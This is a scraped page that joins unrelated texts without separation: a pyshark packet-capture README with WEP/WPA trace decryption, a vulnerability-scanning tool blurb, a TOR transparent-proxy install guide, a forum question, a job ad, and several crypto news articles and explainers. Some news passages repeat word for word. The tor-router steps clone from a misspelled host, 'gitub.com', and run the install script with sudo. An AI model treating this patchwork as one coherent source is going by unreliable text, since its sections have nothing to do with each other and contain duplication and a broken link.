Pyshark features a few "Capture" objects (Live, Remote, File, InMem). Each of those files read from their respective source and then can be used as an iterator to get their packets. Each capture object can also receive various filters so that only some of the incoming packets will be saved.
Installation
All PlatformsSimply run the following to install the latest from pypi
pip install pyshark
Or install from the git repository:
git clone https://github.com/KimiNewt/pyshark.git
cd pyshark/src
python setup.py install
Mac OS X
You may have to install libxml which can be unexpected. If you receive an error from clang or an error message about libxml, run the following:xcode-select --install
pip install libxml
You will probably have to accept a EULA for XCode so be ready to click an "Accept" dialog in the GUI.
Usage
Reading from a capture file:>>> import pyshark
>>> cap = pyshark.FileCapture('/tmp/mycapture.cap')
>>> cap
<FileCapture /tmp/mycapture.cap (589 packets)>
>>> print cap[0]

- param tshark_path: Path of the tshark binary
Accessing packet data:
Data can be accessed in multiple ways. Packets are divided into layers, first you have to reach the appropriate layer and then you can select your field.>>> packet['ip'].dst
192.168.0.1
>>> packet.ip.src
192.168.0.100
>>> packet[2].src
192.168.0.100
To test whether a layer is in a packet, you can use its name:
>>> 'IP' in packet
True
To see all possible field names, use the packet.layer.field_names attribute (i.e. packet.ip.field_names) or the autocomplete function on your interpreter.
You can also get the original binary data of a field, or a pretty description of it:
>>> p.ip.addr.showname
Source or Destination Address: 10.0.0.10 (10.0.0.10)
# And some new attributes as well:
>>> p.ip.addr.int_value
167772170
>>> p.ip.addr.binary_value
'\n\x00\x00\n'
Decrypting packet captures
Pyshark supports automatic decryption of traces using the WEP, WPA-PWD, and WPA-PSK standards (WPA-PWD is the default).>>> cap1 = pyshark.FileCapture('/tmp/capture1.cap', decryption_key='password')
>>> cap2 = pyshark.LiveCapture(interface='wi0', decryption_key='password', encryption_type='wpa-psk')
A tuple of supported encryption standards, SUPPORTED_ENCRYPTION_STANDARDS, exists in each capture class.
>>> pyshark.FileCapture.SUPPORTED_ENCRYPTION_STANDARDS
('wep', 'wpa-pwd', 'wpa-psk')
>>> pyshark.LiveCapture.SUPPORTED_ENCRYPTION_STANDARDS
('wep', 'wpa-pwd', 'wpa-psk')
Python2 deprecation -
This package no longer supports Python2. If you wish to still use it in Python2, you can:Use version 0.3.8
- Install pyshark-legacy via pypi
- Clone the pyshark-legacy [repo (https://github.com/KimiNewt/pyshark-legacy)], where bugfixes will be applied.
Looking for contributors - for various reasons I have a hard time finding time to maintain and enhance the package at the moment. Any pull-requests will be reviewed and if any one is interested and is suitable, I will be happy to include them in the project. Feel free to mail me at dorgreen1 at gmail.
There are quite a few python packet parsing modules, this one is different because it doesn't actually parse any packets, it simply uses tshark's (wireshark command-line utility) ability to export XMLs to use its parsing.

Seccubus- Easy Automated Vulnerability Scanning, Reporting And Analysis
Seccubus automates regular vulnerability scans with various tools and aids security people in the fast analysis of its output, both on the first scan and on repeated scans.
Seccubus runs vulnerability scans at regular intervals and compares the findings of the last scan with the findings of the previous scan. The delta of this scan is presented in a web GUI where findings can be easily marked as either real findings or non-issues.On repeated scan delta reporting ensures that findings only need to be judged when they first appear in the scan results or when their output changes.
Seccubus 2.x is the only actively developed and maintained branch and all support for Seccubus V1 has officially been dropped.
Seccubus V2 works with the following scanners:
- Nessus
- OpenVAS
- Skipfish
- Medusa (local and remote)
- Nikto (local and remote)
- NMap (local and remote)
- OWASP-ZAP (local and remote)
- SSLyze
- Medusa
- Qualys SSL labs
- testssl.sh (local and remote)

TOR Router- A tool that allow you to make TOR your default gateway and send all internet connections under TOR (as transparent proxy) for increase privacy/anonymity without extra unnecessary code.
Tor Router allow you to use TOR as a transparent proxy and send all your traffic under TOR INCLUDING DNS REQUESTS, the only that you need is: a system using systemd (if you want to use the service) and tor.
TOR router doesn't touch system files as the rest of tools for routing your taffic does and the reason is: there isn't needed to move files for routing traffic, also moving files is a bad idea since that a fail in the script/tool can break your system connection without you knowing what has happened.
Script to install on distros using SystemD only
If you are using BlackArch Linux (https://blackarch.org) you can install the script from the repos using the following command:# pacman -S tor-router
To install from source:
Note that you need BASH, not sh
~$ git clone https://gitub.com/edu4rdshl/tor-router.git && cd ./tor-router && sudo bash install.sh
Usage
In distros using systemd, you should consideer using the install.sh script, anyways the process to install/configure tor-router is described here.It script require root privileges
1. Open a terminal and clone the script using the following command:
~$ git clone https://gitub.com/edu4rdshl/tor-router.git && cd tor-router/files
2. Put the following lines at the end of /etc/tor/torrc
# Seting up TOR transparent proxy for tor-router
VirtualAddrNetwork 10.192.0.0/10
AutomapHostsOnResolve 1
TransPort 9040
DNSPort 5353
3. Restart the tor service
4. Execute the tor-router script as root
# sudo ./tor-router
5. Now all your traffic is under TOR, you can check that in the following pages: https://check.torproject.org and for DNS tests: https://dnsleaktest.com
6. In order to automate the process of the script, you should add it to the SYSTEM autostart scripts according that the init that you are using, for systemd we have a .service file in the files folder.
Uninstalling/Stoping
Delete the tor-router configuration lines in /etc/tor/torrc, disable the tor-router.service using systemctl (if you used the install.sh script), remove /usr/bin/tor-router, /etc/systemd/system/tor-router.service and restart your computer.Proof of concept
After of run the script, follow the next steps to ensure that all is working as expected:IP hidden and TOR network configured:
Visit https://check.torproject.org, you should see a message like it:

Considering how easy it is to generate a public/private key pair it's not that easy and not cheap to get an widely trusted document signing certificate. Especially one with LTV (longtime valid for verifying)
Is this just the market monopoly? If letsencrypt broke it for SSL, couldn't it be done for PDF signing also?

Hi everyone - we're hiring our first engineer for KaiPod Learning to power our new learning model.
A bit about us - * Coming out of the pandemic, more parents than ever want to be in charge of their child's education. In fact, more than 5M will want their child to pursue alternatives (e.g., online schools, homeschooling) in the next 5 years. * But if we don't solve for socialization, childcare, and academic support, most parents will give up and go back to the status quo. * To solve this problem, we're building a network of in-person learning centers where students can come to do work, make friends, and get academic support. * We launched on HN last year - https://news.ycombinator.com/item?id=28346873
In the last year: * We have expanded from an idea to now supporting 200+ kids across 5 states. We're on track to get to 1,000 kids by the fall. * We need to accelerate the build of our tech product so we can support students, parents, and educators.
We are hiring for a Founding Engineer. * This job is for someone who likes wearing multiple hats and craves the chance to shape our product and tech stack. * This job is for someone who loves education but thinks there is a lot of room for improvement. * This is a founding team role, so we also want to meet people who like the chance to shape company culture.
Just today, we got word that a student who started with us in August (and was reading at a 4th grade level) tested at the 7th grade reading level. That is 3 YEARS of progress in 3 MONTHS. We are quite literally changing lives and can't wait to reach millions of kids!
For more info on the job and to apply, please head to: https://www.kaipodlearning.com/founding-engineer

Bitcoin begins to deal with fresh U.S. macro cues as BTC price steadily holds $17,000 support.
Bitcoin (BTC) fell on the Dec. 9 Wall Street open as United States economic data appeared to disappoint markets.
Attention turns to Bitcoin vs. CPI "big trigger"
Data from Cointelegraph Markets Pro and TradingView showed BTC/USD dipping to come closer to $17,000 after passing the level overnight.
The pair reacted badly to U.S. Producer Price Index (PPI) data, which despite being above expectations still beat the readout from the month prior.
“Bit of an over reaction towards PPI, which has been dropping significantly from last month, but less than expected,” Michaël van de Poppe, founder and CEO of trading firm Eight, responded.
Van de Poppe, like others, noted that the crux of macro cues would come next week in the form of Consumer Price Index (CPI) print for November.
“CPI next week is the big trigger, just like it was earlier this month,” he added.
CPI could be a seminal point, trading firm QCP Capital continued, as if it were to continue its downward trend, markets may get an even stronger conviction over lower inflation greeting the new year.
The Federal Reserve’s Federal Open Market Committee (FOMC) meeting days later, where policymakers decide on interest rate hikes, should add fuel to the fire.
“Tuesday’s CPI will yet again be ‘the most important CPI release ever’, this time because the market has set it up to be with its epic 2-month short squeeze rally,” QCP wrote in a market update on the day.
“At the FOMC, Fed members will release their updated projections of inflation and interest rates. Markets will focus on where they forecast inflation next year, as well as where they see rates in 2023 and 2024. Both these events are the last remaining hurdles for the rally into year-end.”
Analysts acknowledged that if CPI were to disappoint, it would potentially “invalidate” the stocks rally so far. A 50-basis-point rate hike had a 77% probability of occurring, according to CME Group's FedWatch Tool.
U.S. dollar catches a break
U.S. equities were flat after the first hour's trading, with PPI failing to make a significant dent in performance.

For macro economist and stocks analyst James Choi, this was to be expected, given that the Fed was already considering decreasing the pace of its rate hikes.
"The FED already pivoted its course. Today's PPI won't make a dent to Powell's plan. It's 50bp next week, then that's it," he forecast, also saying that his calculations predicted a "much, much lower" CPI reading than many believed.
Meanwhile, U.S. dollar strength also simmered, the U.S. dollar index (DXY) attempting to make up for the previous day's lost ground on the back of PPI.

The former FTX CEO claimed that Binance “threatened to walk at the last minute” without an additional $75 million, accusing CZ of lying about his role in the deal.
Binance CEO Changpeng Zhao, or CZ, and former FTX CEO Sam Bankman-Fried, or SBF, have revealed new details about the failed agreement between the exchanges during FTX’s liquidity crisis in November.
In a Dec. 9 Twitter thread, CZ referred to Bankman-Fried as a “fraudster,” saying Binance exited its position in FTX in July 2021 after becoming “increasingly uncomfortable with Alameda/SBF.” According to the Binance CEO, SBF was “unhinged” at the exchange pulling out — a claim that prompted an online response from the former FTX CEO.
Bankman-Fried criticized CZ for his public admonition of FTX, adding details about the negotiations between the exchanges amid FTX’s reported “liquidity crunch” in November prior to the firm filing for bankruptcy. SBF said at the time that FTX had reached a “strategic transaction” with CZ, but Binance later pulled out after reviewing the exchange’s balance sheets. The former FTX CEO claimed that Binance “threatened to walk at the last minute” without an additional $75 million, accusing CZ of lying about his role in the deal.
“You didn't even have the rights to pull out as an investor unless we chose to buy you out--much of the tokens/equity were still locked,” said SBF, addressing CZ.
CZ responded in kind:
“Sam, not that it matters now. You also can’t force us to sell if we don’t want to. Also, we have the veto right to block any further fundraising you were doing. Never used or mentioned it. It was never a competition or fight. No one won [...] Don’t try to tell your friends to focus on us. Focus on yourself. You should have learned that by now.”
Lawmakers with the United States House Finance Services Committee previously called on Bankman-Fried to speak at a hearing exploring the collapse of FTX. Though SBF initially said he planned to wait to testify until he had “finished learning and reviewing what happened,” committee leadership threatened a subpoena, prompting the former FTX CEO to say on Twitter he would be “willing to testify” on Dec. 13.

Though Bankman-Fried has seemingly been attempting to delay appearances with officials regarding the events leading to FTX’s downfall, he has not been shy about interviews with various media outlets. Since FTX Group’s Chapter 11 filing on Nov. 11, SBF has repeatedly publicly apologized for his role in the exchange’s collapse.

Temasek-backed Amber has raised about $50 million in funding from a new sovereign fund, with the deal to be announced in January.
Cryptocurrency trading firm Amber Group is putting its expansion plans on hold despite the FTX contagion having “no disruption” to its daily operations, according to a senior executive.
Amber has scrapped plans to expand in Europe and the United States as a consequence of exposure to the now-defunct exchange FTX and will focus on institutional clients in Asia, according to managing partner Annabelle Huang.
Huang also said that Amber has been forced to deprioritize its new metaverse project due the FTX contagion, the Financial Times reported on Dec. 9.
Apart from ditching its expansion plans, the firm has reportedly been cutting its headcount recently. After reportedly laying off up to 40% of staff in September, the firm continued to lay off employees again in December.
According to Huang, Amber had roughly 10% of its trading capital stuck on FTX, which is not an issue for the company’s daily operations. In line with its plans to continue servicing customers in Asia, Amber has continued working to raise new funding and make new acquisitions.
The Temasek-backed company has raised about $50 million in funding from a new sovereign fund, with the deal to be announced in January. Similar to Amber’s previous $200 million round, the new funding values the firm at $3 billion. The raised amount is twice as low as what Amber originally expected to secure.
Amber doesn’t consider its ongoing raise to be unsuccessful, Huang said. “We are not under pressure to raise capital,” she noted, adding that Amber will also announce a major acquisition of a licensed Singaporean business in December.

The news comes shortly after Huang denied allegations of Amber’s insolvency. The exec took to Twitter on Dec. 6 to respond to allegations that Amber was “on the verge of bankruptcy,” stating:
“We continue to operate business as usual. If you have any concerns, withdrawals are open as usual.”
The allegations were made by on-chain analyst Lookonchain, who detected some significant discrepancies between wallets allegedly owned by Amber and the reported funds and trading volumes.

“Tuesday’s CPI will yet again be ‘the most important CPI release ever’, this time because the market has set it up to be with its epic 2-month short squeeze rally,” QCP wrote in a market update on the day.
“At the FOMC, Fed members will release their updated projections of inflation and interest rates. Markets will focus on where they forecast inflation next year, as well as where they see rates in 2023 and 2024. Both these events are the last remaining hurdles for the rally into year-end.”
Analysts acknowledged that if CPI were to disappoint, it would potentially “invalidate” the stocks rally so far. A 50-basis-point rate hike had a 77% probability of occurring, according to CME Group's FedWatch Tool.

For macro economist and stocks analyst James Choi, this was to be expected, given that the Fed was already considering decreasing the pace of its rate hikes.
"The FED already pivoted its course. Today's PPI won't make a dent to Powell's plan. It's 50bp next week, then that's it," he forecast, also saying that his calculations predicted a "much, much lower" CPI reading than many believed.
Meanwhile, U.S. dollar strength also simmered, the U.S. dollar index (DXY) attempting to make up for the previous day's lost ground on the back of PPI.

The former FTX CEO claimed that Binance “threatened to walk at the last minute” without an additional $75 million, accusing CZ of lying about his role in the deal.
Binance CEO Changpeng Zhao, or CZ, and former FTX CEO Sam Bankman-Fried, or SBF, have revealed new details about the failed agreement between the exchanges during FTX’s liquidity crisis in November.
In a Dec. 9 Twitter thread, CZ referred to Bankman-Fried as a “fraudster,” saying Binance exited its position in FTX in July 2021 after becoming “increasingly uncomfortable with Alameda/SBF.” According to the Binance CEO, SBF was “unhinged” at the exchange pulling out — a claim that prompted an online response from the former FTX CEO.
Bankman-Fried criticized CZ for his public admonition of FTX, adding details about the negotiations between the exchanges amid FTX’s reported “liquidity crunch” in November prior to the firm filing for bankruptcy. SBF said at the time that FTX had reached a “strategic transaction” with CZ, but Binance later pulled out after reviewing the exchange’s balance sheets. The former FTX CEO claimed that Binance “threatened to walk at the last minute” without an additional $75 million, accusing CZ of lying about his role in the deal.
“You didn't even have the rights to pull out as an investor unless we chose to buy you out--much of the tokens/equity were still locked,” said SBF, addressing CZ.
CZ responded in kind:
“Sam, not that it matters now. You also can’t force us to sell if we don’t want to. Also, we have the veto right to block any further fundraising you were doing. Never used or mentioned it. It was never a competition or fight. No one won [...] Don’t try to tell your friends to focus on us. Focus on yourself. You should have learned that by now.”
Lawmakers with the United States House Finance Services Committee previously called on Bankman-Fried to speak at a hearing exploring the collapse of FTX. Though SBF initially said he planned to wait to testify until he had “finished learning and reviewing what happened,” committee leadership threatened a subpoena, prompting the former FTX CEO to say on Twitter he would be “willing to testify” on Dec. 13.

Though Bankman-Fried has seemingly been attempting to delay appearances with officials regarding the events leading to FTX’s downfall, he has not been shy about interviews with various media outlets. Since FTX Group’s Chapter 11 filing on Nov. 11, SBF has repeatedly publicly apologized for his role in the exchange’s collapse.

Temasek-backed Amber has raised about $50 million in funding from a new sovereign fund, with the deal to be announced in January.
Cryptocurrency trading firm Amber Group is putting its expansion plans on hold despite the FTX contagion having “no disruption” to its daily operations, according to a senior executive.
Amber has scrapped plans to expand in Europe and the United States as a consequence of exposure to the now-defunct exchange FTX and will focus on institutional clients in Asia, according to managing partner Annabelle Huang.
Huang also said that Amber has been forced to deprioritize its new metaverse project due the FTX contagion, the Financial Times reported on Dec. 9.
Apart from ditching its expansion plans, the firm has reportedly been cutting its headcount recently. After reportedly laying off up to 40% of staff in September, the firm continued to lay off employees again in December.
According to Huang, Amber had roughly 10% of its trading capital stuck on FTX, which is not an issue for the company’s daily operations. In line with its plans to continue servicing customers in Asia, Amber has continued working to raise new funding and make new acquisitions.
The Temasek-backed company has raised about $50 million in funding from a new sovereign fund, with the deal to be announced in January. Similar to Amber’s previous $200 million round, the new funding values the firm at $3 billion. The raised amount is twice as low as what Amber originally expected to secure.
Amber doesn’t consider its ongoing raise to be unsuccessful, Huang said. “We are not under pressure to raise capital,” she noted, adding that Amber will also announce a major acquisition of a licensed Singaporean business in December.

The news comes shortly after Huang denied allegations of Amber’s insolvency. The exec took to Twitter on Dec. 6 to respond to allegations that Amber was “on the verge of bankruptcy,” stating:
“We continue to operate business as usual. If you have any concerns, withdrawals are open as usual.”
The allegations were made by on-chain analyst Lookonchain, who detected some significant discrepancies between wallets allegedly owned by Amber and the reported funds and trading volumes.

Despite missing a response deadline, Sam Bankman-Fried says he’s willing to testify at a U.S. Senate hearing into the collapse of FTX.
Former FTX CEO Sam Bankman-Fried has indicated that he’s willing to testify at a United States Senate hearing into the collapse of cryptocurrency exchange FTX.
Bankman-Fried controversially missed the deadline to respond to a Senate Banking Committee request to appear and testify during a hearing focused on FTX’s bankruptcy earlier this week. While the possibility of a congressional subpoena was on the table, the beleaguered former CEO has offered himself up in a series of Tweets published Dec. 9.
1) I still do not have access to much of my data -- professional or personal. So there is a limit to what I will be able to say, and I won't be as helpful as I'd like.
— SBF (@SBF_FTX) December 9, 2022
But as the committee still thinks it would be useful, I am willing to testify on the 13th. https://t.co/KR34BsNaG1
Bankman-Fried was replying to a thread of tweets from congresswoman Maxine Waters, chairwoman of the Financial Services Committee, who contended that his recent interviews with a number of media houses provided evidence that he had enough information ‘sufficient for testimony’.

Highlighting the fact that FTX had affected more than one million people, Waters implored Bankman-Fried to testify given that his knowledge would be ‘meaningful’ to members of congress and ‘critical’ to the American people.

Based on your role as CEO and your media interviews over the past few weeks, it’s clear to us that the information you have thus far is sufficient for testimony. (1/3) https://t.co/YUVVjOkC40
Bankman-Fried’s belated response on Twitter came four days after Waters’ request. The former head of FTX and Alameda Research said he would be limited in his ability to provide answers, citing a lack of access to professional and personal data.
He added that he would look to provide information and insights on FTX US's solvency and American customers, potential avenues to ‘return value to users internationally,’ what led to the collapse of the exchange and his ‘own failings’.
Bankman-Fried and mainstream media outlets have copped criticism from the wider cryptocurrency community for a perceived slant presenting the former CEO as a victim in the debacle.
Bankman-Fried tried to assuage users on Twitter by highlighting shortcomings in his running of the now-defunct business, which has left investors out of pocket and short of answers:
“I had thought of myself as a model CEO who wouldn't become lazy or disconnected. Which made it that much more destructive when I did.”
Bankman-Fried said he hoped people could learn from the difference between "who I was and who I could have been," in what looks to be an effort to curry more sympathy as pressure from the U.S. government begins to mount

Gridless Compute, a hydro-powered Bitcoin mining initiative, tweeted that the project has successfully powered a rural community and lowered its existing energy rates.
A hydro-powered crypto mining project based in Africa released an update on its efforts to bring energy developments to rural communities via Bitcoin (BTC).
On Dec. 9, Gridless Compute tweeted photos and commentary on how their hydro-power BTC mining rigs are powering an entire rural settlement while also lowering energy rates for 2,000 people, the equivalent to 500 families. According to the tweet, costs decrease from $10 per month to $4.
All of this while securing BTC’s underlying blockchain network.

Earlier this week, the project also shared results of a successful $2 million funding round led by VC Stillmark and Blocks, the parent company of CashApp and Square.
According to Gridless, the funds from this round will be used to further the expansion of BTC mines across African markets while targeting rural communities for accessible energy.
Erik Hersman, the CEO of Gridless, said that while BTC mining has been widespread throughout North America, Europe and Asia, Africa has great opportunities to diversify mining. He highlighted that renewable energy is abundant on the continent.
"This presents excellent potential for profits for both energy generators and miners as well as the ability to deliver real positive impact on the communities where it is put to use."
Miles Suter, an active personality in the BTC community and lead at CashApp, visited one of sites in rural Kenya. Suter highlighted the renewable energy aspect of the project, as BTC mining has previously come under major scrutiny for its harsh environmental impact.

What is stagflation, how to fight it with crypto and how are the cryptocurrency markets impacted by high inflation and economic downturn?
What does stagflation mean for Bitcoin?
As stagflation goes alongside high inflation and economic downturn, BTC can be seen as a hedge against inflation and simultaneously as a risky asset whose price could fall during an economic decline.
BTC may be seen through the same lens as gold, which traditionally functioned as a hedge against inflation. Indeed, BTC could naturally be an excellent hedge against inflation. First, BTC is a decentralized global means of payment beyond the control of central authorities. Governments have no control over it, making it almost immune to potential corruption and monetary policy.
In addition, BTC is a scarce asset, as a maximum of twenty-one million can come into circulation and deflationary since the number of Bitcoin that goes into circulation halves approximately every four years. Because of this scarcity and finiteness, it is also called digital gold or a “store of value.”
In general, the prices of risky investments fall when interest rates rise. As the cryptocurrency market developed a significant correlation with the stock markets, much will depend on if and when BTC can break its correlation. This process will likely take time, also given institutional adoption.
Stagflation could be a catalyst for BTC and cryptocurrency adoption. This could happen if it turns out that the debt economy we build on is unsustainable. When Bitcoin is seen as an alternative or hedge against a failing financial system, prices and adoption can increase in economically uncertain times. A tipping point could come when public trust in BTC exceeds trust in the current economic system.
How to fight stagflation?
To fight stagflation, the government can implement monetary, fiscal and other policies that increase economic growth. Cryptocurrency may also prove to be a tool in itself.
The first tool is fiscal policy. Via an expansionary fiscal policy, one can increase government spending or decrease taxes to increase aggregate demand and stimulate economic growth. The government can cut spending to help reduce demand for goods and services, which could slow down inflation.
The second tool is monetary policy, which involves manipulating interest rates to try and stimulate the economy. Central banks use a low interest rate policy to decrease the cost of borrowing money. Interest policy can also reduce the amount of money in circulation to decrease the money supply, which may help boost economic growth over time.
The third tool is to try and reduce unemployment through active labor market policies. However, here there is the risk of built-in inflation, which refers to the demand for wage increases in the labor markets to meet the rising cost of living. Yet, this often results in businesses increasing the prices of goods and services to offset increasing wage costs.
If these measures fail, other options include raising tariffs or devaluing the domestic currency to make exports more competitively priced on foreign markets. Selling bonds or other financial instruments can decrease the money supply by taking that amount out of circulation.
Cryptocurrencies may also directly help fight stagflation by allowing people worldwide to participate in global trade without needing to go to a bank or a different institution. The increased access that people have to international markets can help improve global economic conditions and lead to more sustainable growth overall.
How does stagflation affect cryptocurrency markets?
Cryptocurrencies have not been around for very long. Hence, there is not much data yet on whether cryptocurrency is a good investment during stagflation and if stagflation is generally good or bad for the markets.
To grasp if cryptocurrency investments work well during stagflation, one can examine how traditional markets behave during inflation or stagflation and why. Stagflation is naturally bad for traditional markets, and as cryptocurrency markets have a high correlation with general indexes, meaning that negative sentiment can trickle into cryptocurrencies which are digital assets managed with cryptographic algorithms.
In general, investors who have their money in traditional instruments may be more willing to ride out periods of economic uncertainty than those who invest in cryptocurrencies that go along with higher volatility. During stagflation, there thus may be less demand for cryptocurrencies than usual.
Stagflation may also hurt cryptocurrency markets because it makes retail investors less interested in buying digital assets. After all, high inflation directly impacts how much money people have to purchase cryptocurrency, which is considered a more risky investment.
Yet, depending on one’s cryptocurrency investing strategy, one may choose to invest in these assets over traditional financial instruments. Cryptocurrencies run on a blockchain and are not tied to any particular country’s monetary policy like fiat currencies are. When inflation rises in one country but not another, investors can still capitalize on gains realized through cryptocurrency investments, even if their home currency loses value due to inflationary pressures.
Investors will often look for a way to protect their wealth from stagflation, especially in countries like Venezuela or Argentina, where hyperinflation occurs. Hyperinflation is when there is a speedy and uncontrollable price increase of vital goods and services in an economy. Here cryptocurrency investments work well during stagflation as they provide an alternative payment means and protect against hyperinflation. Individuals may choose to flee hyperinflation by re-directing some of their reserves into Bitcoin (BTC).
What causes stagflation?
Stagflation can be caused by an increased cost of living that outpaces consumer demand or production levels or a reduction in the gross domestic product, which can happen when a government imposes austerity measures. There are several other causes of stagflation, including supply shocks and monetary policy errors.
A supply shock is an event that causes prices to rise without any change in aggregate demand or companies’ inventory. These shocks can be provoked because of human actions. For example, a conflict between states may increase oil prices or another essential input into the production process, leading to cost-pull inflation, which is inflation due to an upsurge in the costs as a result of rising wages and raw materials.
Supply shocks can also include increases in prices due to natural disasters, leading to higher prices. Simply put, a change in the production process thus results in a decrease in the supply of goods or services, leading to demand-pull inflation, a specific type of inflation caused by supply shortages.
Monetary policy errors refer to how central banks manage their country’s money supply. Suppose they make too much money available for lending due to low interest rates. In that case, interest rates will fall, causing inflationary pressures on consumers’ wages and prices. However, with very high interest rates, a decline in economic activity may also result in stagflation.
What is stagflation?
Stagflation is a relatively rare phenomenon that may go alongside economic stagnation. Stagflation contrasts with inflation alongside economic growth, which occurs when prices increase alongside a higher output of the economy.
Economic stagnation occurs when the economy is not growing fast enough to meet the needs of its people. Stagflation is when the economy fails to develop and is also marked by high inflation. Stagflation can be seen as a contradiction because those circumstances usually do not coincide.
During stagflation, an economy grows so slowly that unemployment rises. Meanwhile, prices continue to increase as if companies sell everything they can produce. There is a smaller demand for goods and services, which may lead to even greater unemployment.
In an economy with high inflation rates, individuals do not know how much capital they will be able to spend in the future. Inflation makes it hard to plan and invest in the present because no one knows what their income will be after a certain amount of time. That causes even more uncertainty and slower growth. Thus, stagflation is a combination of two words: economic stagnation and inflation.
One of the most adequate examples of stagflation was during the 1970s, when several developed economies experienced slow economic growth, high unemployment and rising inflation due to global fuel shortages. Stagflation may also happen due to monetary or fiscal policy, such as when the United States decoupled its dollar from the gold standard in said period.

The reforms include regulating stablecoins as a means of payment and creating a sandbox where firms and regulators can test new financial technologies.
The United Kingdom’s Chancellor of the Exchequer Jeremy Hunt laid out a number of reforms aiming to “drive growth and competitiveness” to the country’s financial services sector including efforts that support the crypto space.
In an announcement, the U.K. government highlighted that it will create a smarter regulatory framework for the country that it describes as “agile, less costly and more responsive to emerging trends.”
Topics mentioned in the announcement include consulting on proposals for the establishment of a central bank digital currency (CBDC), extending a crypto tax break for investment managers, bringing stablecoins into the regulatory perimeter and creating a sandbox that lets firms and regulators test new technologies that have the potential to transform financial markets.
These are all part of the Financial Services and Markets (FSM) bill announced earlier in October. According to Hunt, the changes will show the U.K.'s status as a competitive global financial services hub. He explained that:
“The Edinburgh Reforms seize on our Brexit freedoms to deliver an agile and home-grown regulatory regime that works in the interest of British people and our businesses.”
In addition, Hunt noted that the government will be further delivering reforms that get in the way of other growing industries like digital technology and life sciences.
Andrew Griffith, the U.K.'s Economic Secretary to the Treasury, said that the reforms will deliver smarter regulation for financial services. The government official believes that this "will unlock growth and opportunity in towns and cities across the U.K."

On Nov. 4, the U.K. government also started looking into nonfungible tokens (NFTs) because of the growth of the sector. Members of the U.K.'s Digital, Culture, Media and Sport Committee (DCMS) opened a public inquiry to make an assessment of NFT assets before a review can be performed by the U.K. Treasury.

Non-fungible tokens are being used to serve as digital GIA diamond certificates to ensure immutability, transparency and proof-of-ownership.
Diamonds may be a girl’s best friend, but unfortunately, the billion-dollar diamond industry is rife with scandal and fraud. There have been a number of cases where lab-grown diamonds have been graded as natural diamonds. An example of this was seen last year when the International Gemological Institute analyzed and graded a 6.18ct lab-grown diamond, which was previously claimed to be a natural diamond on its Gemological Institute of America (GIA) report.
It was also reported in 2005 that the Gemological Institute of America — which is one of the most trusted sources for evaluating gemstone quality — was accepting bribes to upgrade its GIA reports. According to sources, a lawsuit was filed against GIA in 2005 due to payments being accepted to “upgrade” the quality of diamonds submitted for grading.
In addition, consumers are able to resubmit a diamond for examination at GIA for any reason. This is known as a follow-up service. As a result, diamonds can be associated with multiple grading reports. This can be problematic for consumers since they may not be receiving original diamond certificates upon purchase.
NFTs as a single source of truth
Unfortunately, diamond certificate fraud is becoming more common. Regions like India have even developed new frameworks to combat fraudulent activities, as seen in the Diamond Charter drafted last year. While innovative, industry experts have also started looking toward blockchain technology to help solve this growing problem.
Specifically speaking, nonfungible tokens (NFTs) may serve as a solution when it comes to preventing diamond certification fraud. Mike Moldawsky, founder and creator of Diamond Dawn, told Cointelegraph that diamond certification reports should be placed on a public blockchain network to ensure that documents can’t be manipulated. “Having a diamond certificate as an NFT on the Ethereum blockchain can ensure immutability, proof-of-ownership and visibility for both retailers and consumers,” he said.
In order to demonstrate this, Moldawsky explained that Diamond Dawn is a high-level NFT art project that will place 333 GIA-certified diamonds on the Ethereum blockchain as ERC-721 tokens. Privately invited participants will then be able to purchase these diamonds as NFTs. According to Moldawsky, participants will be able to purchase a limit of one diamond NFT, with weight varying between 0.4-0.8 carats, for the price of 4.44 Ether (ETH). Once an NFT is bought, a smart contract will automatically send the diamond’s GIA certificate to the Ethereum blockchain, serving as proof of ownership and verification.
Given the rise of NFTs tied to physical counterparts, Moldawsky further remarked that NFT holders will have the option to create a tangible art piece containing a GIA-certified diamond via the Diamond Dawn website.
“NFT holders will start with a digital rough diamond and evolve their NFT on the blockchain (on-chain) with a process that mimics precisely the in-real life natural diamond process. Ultimately, the collector will need to decide whether they want to keep their diamond digital or burn it and transform it into its physical form,” he elaborated.
According to Moldawsky, such a process is also meant to raise awareness around the notion that digital NFTs can become scarce over time and, therefore, more valuable. “As more collectors decide to claim the physical art piece and burn the NFT, this will reduce the total NFT supply. As a result, digital NFTs will become more rare,” Moldawsky explained.
He added that the digital diamond artworks have all been created by artist David Ariew, who recently sold his first artwork at Sotheby’s Contemporary Art Evening for $224,000, alongside famous artists such as Banksy and Basquiat.
My collaboration piece with Jia Aili, “The Road Ahead” just sold for $224,000 in the @Sothebys Contemporary Evening Auction! I’m at a loss for words. Thank you so much to @triple_x_space and a massive congrats to @raoulmarks as well! You guys are incredible!! pic.twitter.com/oeff7zUuku
— David Ariew (@DavidAriew) April 27, 2022
In either case, though, Moldawsky explained that Diamond Dawn’s diamond certificates will remain on the Ethereum blockchain. “If a user chooses to create a physical diamond art piece, they will receive the paper GIA certificate in addition to the certification on the blockchain network. The goal of the project is to demonstrate proof-of-ownership, transparency and immutability of diamond certificates,” he remarked.
Olivia Landau, a GIA-certified gemologist and co-founder of The Clear Cut — a digitally native diamond engagement ring and fine jewelry company — told Cointelegraph that her firm is also using NFTs for diamond certification after launching an NFT platform on the Authentic blockchain network in January. She said:
“NFTs give couples purchasing an engagement ring the option to have all of the diamond’s certificates, insurances, images and even their proposal story stored safely on the blockchain for years to come, eliminating the worry of hanging onto hard-to-replace paper copies.”
Landau added that the purpose behind the NFTs offered by The Clear Cut is to digitize and authenticate a diamond’s GIA report and insurance documents. “The Clear Cut’s NFTs are not intended to be resold on secondary marketplaces,” she said.
According to Landau, clients who purchase a diamond ring from The Clear Cut will have the option to buy a corresponding NFT for an additional $500, which is to be paid in fiat rather than in crypto. She noted that existing clients will also have this option.
“In the beta testing phase, over 90% of clients expressed initial interest in this new NFT function. Customers will receive a hard copy of their GIA certificate and a copy of it will be stored digitally, ensuring its value for life,” she said.
Will NFTs replace traditional diamond certificates?
NFTs as digital diamond certificates may be innovative, yet it remains questionable if this concept resonates with the mainstream.
For instance, Moldawsky pointed out that he believes more education around blockchain is needed in order for traditional organizations to understand the potential behind NFTs. “We need to ask GIA why they haven’t gone digital yet. Once that conversation is initiated, we can explain why blockchain technology is transformative,” he said.
While this may be, it’s notable that GIA is open to digital transformation. Stephen Morisseau, director of communications for GIA, told Cointelegraph that early next year, GIA will begin transitioning all of their gemological laboratory reports to digital forms. “This should be completed that by 2025,” he remarked. Morisseau added that all of GIA’s printed reports have several security features, noting that the information on any report can be verified using the secure online GIA Report Check service.
